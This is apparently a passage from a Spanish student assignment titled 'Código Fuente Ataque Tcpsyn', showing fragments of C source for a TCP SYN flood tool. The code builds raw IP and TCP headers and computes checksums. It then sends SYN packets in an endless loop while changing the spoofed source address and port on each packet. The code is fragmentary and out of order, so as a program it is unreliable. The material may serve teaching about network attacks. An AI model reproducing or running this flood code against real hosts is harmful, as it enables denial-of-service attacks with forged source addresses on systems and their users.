6 Código Fuente Ataque Tcpsyn
6 Código Fuente Ataque Tcpsyn
6 Código Fuente Ataque Tcpsyn
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
enviarSegmentoTCP(IPO,argv[1],atoi(argv[2]));
return 0;
}
while(longitud>1)
{
suma += *buffer++; //Añadir la siguiente palabra de 16 bit
longitud-=2; //Reducir los bytes restantes en 2 (16 bit)
}
Asignatura Datos del alumno Fecha
suma = (suma >> 16) + (suma & 0xFFFF); //Añdir los 16 bit de
mas peso a los 16 de menor peso
suma += (suma >> 16); //Añadir el acarreo (no olvidar que se
trabaja en complemento a 1)
chk = ~suma; //Complementar a 1
return (chk);
}
printf("Creando paquete...\n");
printf("\tIP destino -> %s\n",ipd);
printf("\tPuerto destino -> %d\n",puertod);
//Rellenar la cabecera IP
cabIp=(struct iphdr *)paquete;//Señalar la parte de IP con el
puntero para rellenar los datos
cabIp->version=4; //version del protocolo IP
cabIp->ihl=tamIph/4; //tamaño de la cabecera
Asignatura Datos del alumno Fecha
printf("Creando socket\n");
if(sck<0)
{
printf("Error creando el socket. ¿Es usuario root?\n");
return;
}
printf("Enviando el datagrama\n");
//Enviar el datagrama
while(1)
{
Asignatura Datos del alumno Fecha
sendto(sck,paquete,tamTcph+tamIph,0,(struct sockaddr
*)&sin,sizeof(struct sockaddr_in));
nSyn++;
printf("\rEnviado SYN %d",nSyn);
cabIp->saddr=cabIp->saddr++;
cabIp->check=0;
pseudo.origen=cabIp->saddr;
if(ntohs(cabTcp->source)==15000)
cabTcp->source=htons(PUERTOF);
else
cabTcp->source=cabTcp->source++;
cabTcp->check=0;